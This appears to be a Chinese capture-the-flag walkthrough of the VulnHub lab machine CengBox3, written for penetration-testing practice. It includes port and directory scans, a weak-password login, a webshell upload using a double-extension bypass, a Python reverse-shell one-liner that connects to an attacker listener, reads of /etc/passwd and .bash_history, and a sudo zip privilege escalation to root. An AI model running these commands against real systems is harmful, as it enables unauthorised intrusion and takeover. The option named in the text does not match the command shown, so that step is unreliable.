CengBox3是VulnHub平臺上一臺難度中等的Linux靶機,屬于CengBox系列。該靶機模擬了真實環境中的Web應用與系統配置漏洞,旨在幫助滲透測試人員練習信息收集、漏洞利用、權限提升等綜合技能。本篇文章將詳細記錄從信息收集到獲取root權限的完整滲透過程。
使用netdiscover或nmap進行ARP掃描,快速定位靶機IP:`bash
sudo netdiscover -r 192.168.1.0/24`
發現靶機IP為192.168.1.150。
使用Nmap進行全端口掃描,識別開放服務及版本:`bash
nmap -sV -sC -p- 192.168.1.150 -oA cengbox3_scan`
掃描結果摘要:
使用gobuster或dirb枚舉Web目錄:`bash
gobuster dir -u http://192.168.1.150 -w /usr/share/wordlists/dirb/common.txt`
發現關鍵目錄:
/admin/:管理后臺入口/uploads/:文件上傳目錄/phpmyadmin/:數據庫管理界面訪問http://192.168.1.150,發現一個簡單的博客系統。通過查看頁面源代碼,在注釋中發現提示:<!-- TODO: Fix upload functionality -->,暗示文件上傳功能存在漏洞。
訪問/admin/目錄,發現登錄頁面。通過弱口令測試(admin/admin)成功登錄。在后臺找到文件上傳功能,嘗試上傳PHP webshell:`php`
將文件命名為shell.php.jpg繞過前端驗證,成功上傳至/uploads/目錄。通過Apache解析漏洞(.php.jpg被解析為PHP),訪問http://192.168.1.150/uploads/shell.php.jpg?cmd=id,成功執行系統命令。
使用Python reverse shell獲取穩定連接:`bash
# 在webshell中執行
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
nc -lvnp 4444`
成功獲取www-data用戶權限的shell。
查看系統版本、用戶、sudo權限等:`bash
uname -a
cat /etc/passwd
sudo -l`
發現用戶ceng可以無密碼運行/usr/bin/zip。
利用zip的-TT參數(測試歸檔文件)可以執行任意命令。切換到ceng用戶(通過查看/home/ceng/.bash_history發現密碼為box3pass):`bash
su ceng
sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"`
成功獲取root權限。
在root目錄下找到flag文件:`bash
cat /root/flag.txt`
內容為:Congratulations! You've rooted CengBox3!
CengBox3靶機涵蓋了從Web到系統的完整攻擊鏈。在實際滲透測試中,需要靈活組合各種技術,并注意痕跡清理。建議在完成基礎提權后,嘗試使用其他方法(如內核漏洞、SUID文件等)再次提權,以加深對Linux安全機制的理解。
如若轉載,請注明出處:http://www.d1fx.cn/product/11.html
更新時間:2026-10-18 12:43:59